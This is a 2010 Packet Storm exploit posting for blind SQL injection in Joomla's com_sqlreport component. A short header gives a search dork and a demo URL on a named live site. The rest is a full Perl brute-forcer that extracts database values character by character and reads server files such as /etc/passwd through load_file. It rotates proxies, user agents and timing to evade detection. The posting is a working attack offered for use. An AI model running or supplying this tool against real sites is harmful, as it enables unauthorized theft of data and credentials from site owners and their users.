Joomla SQL Report Blind SQL Injection

2010-02-24T00:00:00
ID PACKETSTORM:86613
Type packetstorm
Reporter Snakespc
Modified 2010-02-24T00:00:00

Description

                                        
                                            `==============================================================================  
[»]Joomla Component user_id com_sqlreport Blind SQL Injection Vulnerability  
==============================================================================  
  
[»] Script: [Joomla]  
[»] Language: [ PHP ]  
[»] Founder: [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]  
[»] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]  
[»] Dork:inurl:"com_sqlreport"   
[»] Demo:http://fullysms.com/fullysms/administrator/components/com_sqlreport/ajax/print.php?table=fsms_coverage&fields=country|idd|carrier|credit&filters=&username=&user_id=0   
[»]   
###########################################################################  
===[ Exploit ]===POC Blind Joomla (user_id) com_sqlreport >>>>Note::Placés dans un dossier C:\Perl\bin\snakespc.pl  
###########################################################################  
#!/usr/bin/perl  
use LWP::UserAgent;  
  
use Getopt::Long;  
  
use IO::Handle;  
  
use strict;  
  
$| = 1;  
  
  
  
  
###############################################################################  
  
my $default_debug = 0;  
  
my $default_length = 32;  
  
my $default_method = "GET";  
  
my $default_time = 0;  
  
my $version = "1.1";  
  
my $default_useragent = "bsqlbf $version";  
  
my $default_dict = "dict.txt";  
  
my $default_sql = "version()";  
  
###############################################################################  
  
  
  
$| = 1;  
  
  
my ($args, $abc, $solution);  
  
my ($string, $char, @dic);  
  
my (%vars, @varsb);  
  
my ($lastvar, $lastval);  
  
my ($scheme, $authority, $path, $query, $fragment);  
  
my $hits = 0;  
  
my $usedict = 0;   
my $amatch = 0;  
  
my ($ua,$req);  
  
  
###############################################################################  
#   
#Define GetOpt:  
  
my ($url, $sql, $time, $rtime, $match, $uagent, $charset, $debug);  
  
my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent);  
  
my ($dict, $start, $length, $method, $cookie,$blind);  
  
my ($help, $bincharset, $get, $nodict);  
  
  
my $options = GetOptions (  
  
'help!' => \$help,  
  
'url=s' => \$url,  
  
'get=s' => \$get,  
  
'sql=s' => \$sql,  
  
'blind=s' => \$blind,  
  
'match=s' => \$match,  
  
'charset=s' => \$charset,  
  
'start=s' => \$start,  
  
'length=s' => \$length,  
  
'dict=s' => \$dict,  
  
'method=s' => \$method,  
  
'uagent=s' => \$uagent,  
  
'ruagent=s' => \$ruagent,  
  
'cookie=s' => \$cookie,  
  
'proxy=s' => \$proxy,  
  
'proxy_user=s' => \$proxy_user,  
  
'proxy_pass=s' => \$proxy_pass,  
  
'rproxy=s' => \$rproxy,  
  
'debug!' => \$debug,  
  
'rtime=s' => \$rtime,  
  
'time=i' => \$time );  
  
  
&help unless ($url);  
  
&help if $help eq 1;  
  
  
#########################################################################  
  
# Default Options.  
  
$abc = charset();  
  
$uagent ||= $default_useragent;  
  
$debug ||= $default_debug;  
  
$length ||= $default_length;  
  
$solution ||= $start;  
  
$method ||= $default_method;  
  
$sql ||= $default_sql;  
  
$time ||= $default_time;  
  
  
  
&createlwp();  
  
&parseurl();  
  
  
if ( ! defined($blind)) {  
  
$lastvar = $varsb[$#varsb];  
  
$lastval = $vars{$lastvar};  
  
} else {  
  
$lastvar = $blind;  
  
$lastval = $vars{$blind};  
  
}  
  
  
  
if (defined($cookie)) { &cookie() }  
  
  
  
if (!$match) {  
  
print "\nTrying to find a match string...\n" if $debug == 1;  
  
$amatch = "1";  
  
&auto_match();  
  
}  
  
  
  
&banner();  
  
&httpintro();  
  
  
  
  
  
if ( ! $get) { &sqlget() } else { &fileget() }  
  
  
  
  
sub fileget {  
  
#ord(MID(compress(load_file(0xfilename)),1,1))  
  
$get =~ m,.*/(.*),;  
  
my $lget = $1;  
  
my $rsize = $start + 1;  
  
if (-e "$lget" && ! $start) {  
  
$rsize = -s "$lget";  
  
print "Error: file ./$lget exists.\n";  
  
print "You can erase or resume it with: -start $rsize\n";  
  
exit 1  
  
}  
  
my ($fstr,$i);  
  
my $fsize = "";  
  
$fstr = unpack("H*","$get");  
# GET size of file.  
  
$abc = "0123456789";  
  
for ($i=1;$i<=15;$i++) {  
  
my $furl;  
  
my $find = 0;  
  
foreach (split/ */,$abc) {  
  
$find = 0;  
  
$char = ord();  
  
$string = " and mid(length(load_file(0x$fstr)),$i,1)=char($char)";  
  
if (lc($method) eq "post") {  
  
$vars{$lastvar} = $lastval . $string;  
  
}  
  
$furl = $url;  
  
$furl =~ s/($lastvar=$lastval)/$1$string/;  
  
&createlwp if $rproxy || $ruagent;  
  
my $html=fetch("$furl");  
  
$hits++;  
  
foreach (split(/\n/,$html)) {  
  
if (/\Q$match\E/) {  
  
my $asc=chr($char);  
  
$fsize .= $asc;  
  
$find = 1;  
  
}  
  
last if $find == 1;  
  
}  
  
last if $find == 1;  
  
}  
  
last if $find == 0;  
  
}  
  
if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 }  
  
# starting ..  
  
$length = "$fsize bytes";  
  
$abc = "getfile [256]";  
  
$sql = "load_file($get)";  
  
  
&bsqlintro();  
  
# Get file  
  
open FILE, ">>$lget";  
  
FILE->autoflush(1);  
  
print "\n--- BEGIN ---\n";  
  
my ($i,$b,$fcontent);  
  
$rsize = 1 if $rsize < 1;  
  
for ($i=$rsize;$i<=$fsize+1;$i++) {  
  
my $find = 0;  
  
my ($furl, $b_start, $b_end, $z);  
  
for ($z=0;$z<272;$z+=16) {  
  
my $zz = $z + 16;  
  
$string = " and ord(mid(load_file(0x$fstr),$i,1))>=$z and ord(mid(load_file(0x$fstr),$i,1))<=$zz";  
  
if (lc($method) eq "post") {  
  
$vars{$lastvar} = $lastval . $string;  
  
}  
  
$furl = $url;  
  
$furl =~ s/($lastvar=$lastval)/$1$string/;  
  
&createlwp if $rproxy || $ruagent;  
  
my $html=fetch("$furl");  
  
$hits++;  
  
foreach (split(/\n/,$html)) {  
  
if (/\Q$match\E/) {  
  
$b_start = $z;  
  
$b_end = $z + 16;  
  
$find = 1;  
  
}  
  
last if $find == 1;  
  
}  
  
last if $find == 1;  
  
}  
print "$fcontent";  
  
for ($b=$b_start;$b<=$b_end;$b++) {  
  
$find = 0;  
  
$string = " and mid(load_file(0x$fstr),$i,1)=char($b)";  
  
if (lc($method) eq "post") {  
  
$vars{$lastvar} = $lastval . $string;  
  
}  
  
$furl = $url;  
  
$furl =~ s/($lastvar=$lastval)/$1$string/;  
  
&createlwp if $rproxy || $ruagent;  
  
my $html=fetch("$furl");  
  
$hits++;  
  
foreach (split(/\n/,$html)) {  
  
if (/\Q$match\E/) {  
  
$fcontent = pack("C*","$b");  
  
print FILE "$fcontent";  
  
$find = 1;  
  
}  
  
last if $find == 1;  
  
}  
  
last if $find == 1;  
  
}  
  
}  
  
print "\n--- END ---\n";  
  
close FILE;  
  
$solution = "success";  
  
}  
  
  
  
  
sub sqlget {  
  
&bsqlintro();  
  
$dict ||= $default_dict;  
  
open DICT,"$dict"; @dic=<DICT>; close DICT;  
  
my $i;  
  
$nodict = 0;  
  
for ($i=length($start)+1;$i<=$length;$i++) {  
  
my $furl;  
  
my $find = 0;  
  
$abc = charset();  
  
&bsqlintro if $debug == 1;  
  
print "\r trying: $solution ";  
  
foreach (split/ */,$abc) {  
  
$find = 0;  
  
$char = ord();  
  
$string = " AND MID($sql,$i,1)=CHAR($char)";  
  
if (lc($method) eq "post") {  
  
$vars{$lastvar} = $lastval . $string;  
  
}  
  
print "\x08$_";  
  
$furl = $url;  
  
$furl =~ s/($lastvar=$lastval)/$1$string/;  
  
&createlwp if $rproxy || $ruagent;  
  
my $html=fetch("$furl");  
  
$hits++;  
  
foreach (split(/\n/,$html)) {  
  
if (/\Q$match\E/) {  
  
my $asc=chr($char);  
  
$solution .= $asc;  
  
$find = 1;  
  
}  
  
last if $find == 1;  
  
}  
  
last if $find == 1;  
  
}  
  
if ($usedict ne 0 && $find eq 0) { $nodict=1; $i--; }  
  
if ($find eq "0" && $usedict eq "0") { last; };  
  
}  
  
}  
  
  
  
&result();  
  
  
  
#########################################################################  
  
sub httpintro {  
  
my ($strcookie, $strproxy, $struagent, $strtime, $i);  
  
print "--[ http options ]"; print "-"x62; print "\n";  
  
printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority);  
  
if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent }  
  
printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$struagent);  
  
printf ("%12s %-50s\n","path:", $path);  
  
foreach (keys %vars) {  
  
$i++;  
  
printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_});  
  
}  
  
if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }  
  
printf ("%12s %-50s\n","cookies:",$strcookie);  
  
if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; }  
  
if ($rproxy) { $strproxy = "rnd.file:$rproxy" }  
  
printf ("%12s %-50s\n","proxy_host:",$strproxy);  
  
if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }  
  
# timing  
  
if (! $time && !$rtime) { $strtime="0sec (default)" }  
  
if ( $time == 0) { $strtime="0 sec (default)" }  
  
if ( $time == 1) { $strtime="15 secs" }  
  
if ( $time == 2) { $strtime="5 mins" }  
  
if ($rtime) { $strtime = "rnd.time:$rtime" }  
  
printf ("%12s %-50s\n","time:",$strtime);  
  
}  
  
  
sub bsqlintro {  
  
my ($strstart, $strblind, $strlen, $strmatch, $strsql);  
  
print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";  
  
if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }  
  
if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }  
  
printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);  
  
if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }  
  
if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }  
  
printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);  
  
printf ("%12s %-50s\n","charset:",$abc);  
  
if ($amatch eq 1) { $strmatch = "auto match:" } else { $strmatch = "match:"; }  
  
#printf ("%12s %-60s\n","$strmatch",$match);  
  
print " $strmatch $match\n";  
  
print "-"x80; print "\n\n";  
  
}  
  
  
  
#########################################################################  
  
  
  
sub createlwp {  
  
my $proxyc;  
&getproxy;  
  
&getuagent if $ruagent;  
  
LWP::Debug::level('+') if $debug gt 3;  
  
$ua = new LWP::UserAgent(  
  
cookie_jar=> { file => "$$.cookie" });  
  
$ua->agent("$uagent");  
  
if (defined($proxy_user) && defined($proxy_pass)) {  
  
my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =  
  
$proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;  
  
$proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;  
  
} else { $proxyc = $proxy; }  
  
  
$ua->proxy(['http'] => $proxyc) if $proxy;  
  
undef $proxy if $rproxy;  
  
undef $uagent if $ruagent;  
  
}  
  
  
  
sub cookie {  
  
# Cookies check  
  
if ($cookie || $cookie =~ /; /) {  
  
foreach my $c (split /;/, $cookie) {  
  
my ($a,$b) = split /=/, $c;  
  
if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }  
  
}  
  
}  
  
}  
  
  
sub parseurl {  
  
###############################################################################  
  
# Official Regexp to parse URI. Thank you somebody.  
  
($scheme, $authority, $path, $query, $fragment) =  
  
$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;  
  
# Parse args of URI into %vars and @varsb.  
  
foreach my $varval (split /&/, $query) {  
  
my ($var, $val) = split /=/, $varval;  
  
$vars{$var} = $val;  
  
push(@varsb, $var);  
  
}  
  
}  
  
  
  
# Define CHARSET to use. Dictionary /// (TODO: fix ugly code)  
  
sub charset {  
  
if ($hits ne 0 && $nodict eq 0) {  
  
my (%tmp,@b,$foo); undef %tmp; undef @b; undef $abc;  
  
foreach my $line (@dic) {  
  
chomp $line;  
  
if ($line =~ /\Q$solution\E/ && $line !~ /^#/) {  
  
$foo = $line; $foo =~ s/\Q$solution\E//;  
  
foreach ((split/ */,$foo)) {  
  
if ($tmp{$_} ne "1" ) {  
  
$tmp{$_} = "1"; push (@b,$_);  
  
}  
  
}  
  
}  
  
}  
  
if ($#b >= 0) {  
  
foreach my $c (@b) { $abc .=$c;}  
  
$usedict = $abc;  
  
print "\nUsing a dictionary with this charset: $abc\n" if $debug == 1;  
  
} else {  
  
$abc = chardefault()  
  
}  
  
} else {  
  
$abc = chardefault()  
  
}  
  
return $abc;  
  
}  
  
  
sub chardefault {  
  
my $tmp;  
  
$abc = $charset;  
  
if (lc($charset) eq "md5") {  
  
$abc = "abcdef0123456789\$.";  
  
} elsif (lc($charset) eq "num") {  
  
$abc = "0123456789";  
  
} elsif (lc($charset) eq "all" || ! $charset) {  
  
$abc = "abcdefghijklmnopqrstuvwxyz0123456789\$.:-_()[]{}º@=/\\|#?¿&·!<>ñÑ";  
  
}  
# If a dictionary has been used before, remove chars from current charset  
  
if ($usedict ne 0) {  
  
foreach (split(/ */, $usedict)) {  
  
$abc =~ s/$_//;  
  
}  
  
}  
  
$usedict = 0;  
  
return $abc;  
}  
  
  
sub auto_match {  
  
$match = fmatch("$url");  
  
}  
  
  
  
  
  
#########################################################################  
  
# Show options at running:  
  
sub banner {  
  
print "\n //com_sqlreport Blind SQL injection brute force.\n";  
  
print " // super_cristal\@hotmail.com / http://www.sec-war.com\n\n";  
  
  
}  
  
  
  
  
  
#########################################################################  
  
# Get differences in HTML  
  
sub fmatch {  
  
my ($ok,$rtrn);  
  
my ($furla, $furlb) = ($_[0], $_[0]);  
  
my ($html_a, $html_b);  
  
if (lc($method) eq "get") {  
  
$furla =~ s/($lastvar=$lastval)/$1 AND 1=1/;  
  
$furlb =~ s/($lastvar=$lastval)/$1 AND 1=0/;  
  
$html_a = fetch("$furla");  
  
$html_b = fetch("$furlb");  
  
} elsif (lc($method) eq "post") {  
  
$vars{$lastvar} = $lastval . " AND 1=1";  
  
$html_a = fetch("$furla");  
  
$vars{$lastvar} = $lastval . " AND 1=0";  
  
$html_b = fetch("$furla");  
  
$vars{$lastvar} = $lastval;  
  
}  
  
my @h_a = split(/\n/,$html_a);  
  
my @h_b = split(/\n/,$html_b);  
  
foreach my $a (@h_a) {  
  
$ok = 0;  
  
if ($a =~ /\w/) {  
  
foreach (@h_b) {  
  
if ($a eq $_) {$ok = 1; }  
  
}  
  
} else { $ok = 1; }  
  
$rtrn = $a;  
  
last if $ok ne 1;  
  
}  
  
return $rtrn;  
  
}  
  
  
  
  
  
#########################################################################  
  
# Fetch HTML from WWW  
  
sub fetch {  
  
my $secs;  
  
if ($time == 0) { $secs = 0 }  
  
elsif ($time == 1) { $secs = 15 }  
  
elsif ($time == 2) { $secs = 300 }  
  
if ($rtime =~ /\d*-\d*/ && $time == 0) {  
  
my ($l,$p) = $rtime =~ m/(\d+-\d+)/;  
  
srand; $secs = int(rand($p-$l+1))+$l;  
  
} elsif ($rtime =~ /\d*-\d*/ && $time != 0) {  
  
print "You can't run with -time and -rtime. See -help.\n";  
  
exit 1;  
  
}  
  
sleep $secs;  
  
  
  
my $res;  
  
if (lc($method) eq "get") {  
  
my $fetch = $_[0];  
  
if ($cookie) {  
  
$res = $ua->get("$fetch", Cookie => "$cookie");  
  
} elsif (!$cookie) {  
  
$res = $ua->get("$fetch");  
  
}  
  
} elsif (lc($method) eq "post") {  
  
my($s, $a, $p, $q, $f) =  
  
$url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;  
  
my $fetch = "$s://$a".$p;  
  
if ($cookie) {  
  
$res = $ua->post("$fetch",\%vars, Cookie => "$cookie");  
  
} elsif (!$cookie) {  
  
$res = $ua->post("$fetch",\%vars);  
  
}  
  
} else {  
  
die "Wrong httpd method. Use -h for help\n";  
  
}  
  
my $html = $res->content();  
  
return $html;  
  
}  
  
  
  
  
  
sub getproxy {  
  
if ($rproxy && $proxy !~ /http/) {  
  
my @lproxy;  
  
open PROXY, $rproxy or die "Can't open file: $rproxy\n";  
  
while(<PROXY>) { push(@lproxy,$_) if ! /^#/ }  
  
close PROXY;  
  
srand; my $ind = rand @lproxy;  
  
$proxy = $lproxy[$ind];  
  
} elsif ($rproxy && $proxy =~ /http/) {  
  
print "You can't run with -proxy and -rproxy. See -help.\n";  
  
exit 1;  
  
}  
  
}  
  
  
  
sub getuagent {  
my @uproxy;  
  
open UAGENT, $ruagent or die "Can't open file: $ruagent\n";  
  
while(<UAGENT>) { push(@uproxy,$_) if ! /^#/ }  
  
close UAGENT;  
  
srand; my $ind = rand @uproxy;  
  
$uagent = $uproxy[$ind];  
  
chop($uagent);  
  
}  
  
  
sub result {  
  
print "\r results: \n" .  
  
" $sql = $solution\n" if length($solution) > 0;  
  
print " total hits: $hits\n";  
  
}  
  
  
  
sub help {  
  
&banner();  
  
print " usage: $0 <-url http://www.host.com/path/script.php?foo=bar> [options]\n";  
  
print "\n options:\n";  
  
print " -sql:\t\tvalid SQL syntax to get; connection_id(), database(),\n";  
  
print "\t\tsystem_user(), session_user(), current_user(), last_insert_id(),\n";  
  
print "\t\tuser() or all data available in the requested query, for\n";  
  
print "\t\texample: user.password. Default: version()\n";  
  
print " -blind:\tparameter to inject sql. Default is last value of url\n";  
  
print " -match:\tstring to match in valid query, Default is try to get auto\n";  
  
print " -charset:\tcharset to use. Default is all. Others charsets supported:\n";  
  
print " \tall:\tabcdefghijklmnopqrstuvwxyz0123456789\$.-_()[]{}º@=/\\|#?¿&·!<>ñÑ\n";  
  
print " \tnum:\t0123456789\n";  
print " \tmd5:\tabcdef0123456789\$\n";  
  
print " \tcustom:\tyour custom charset, for example: \"abc0123\"\n";  
  
print " -start:\tif you know the beginning of the string, use it.\n";  
  
print " -length:\tmaximum length of value. Default is $default_length.\n";  
  
print " -dict:\t\tuse dictionary for improve speed. Default is dict.txt\n";  
  
print " -time:\t\ttimer options:\n";  
  
print " \t0:\tdont wait. Default option.\n";  
  
print " \t1:\twait 15 seconds\n";  
  
print " \t2:\twait 5 minutes\n";  
  
print " -rtime:\twait random seconds, for example: \"10-20\".\n";  
  
print " -method:\thttp method to use; get or post. Default is $default_method.\n";  
  
print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n";  
  
print " -ruagent:\tfile with random http UserAgent header to use.\n";  
  
print " -cookie:\thttp cookie header to use\n";  
  
print " -rproxy:\tuse random http proxy from file list.\n";  
  
print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n";  
  
print " -proxy_user:\tproxy http user\n";  
  
print " -proxy_pass:\tproxy http password\n";  
  
print "\n examples:\n bash# $0 -url http://www.somehost.com/blah.php?u=5 -blind u -sql \"user()\"\n";  
  
print " bash# $0 -url http://www.buggy.com/bug.php?r=514&p=3 -get \"/etc/passwd\"\n";  
  
exit(1);  
  
}  
  
  
`